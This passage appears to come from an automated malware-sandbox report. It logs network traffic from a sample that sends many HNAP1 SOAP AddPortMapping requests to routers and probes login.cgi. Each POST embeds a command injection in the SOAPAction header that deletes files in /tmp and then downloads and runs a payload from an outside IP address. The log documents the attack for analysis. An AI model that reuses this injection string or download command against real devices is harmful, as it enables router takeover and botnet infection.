65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 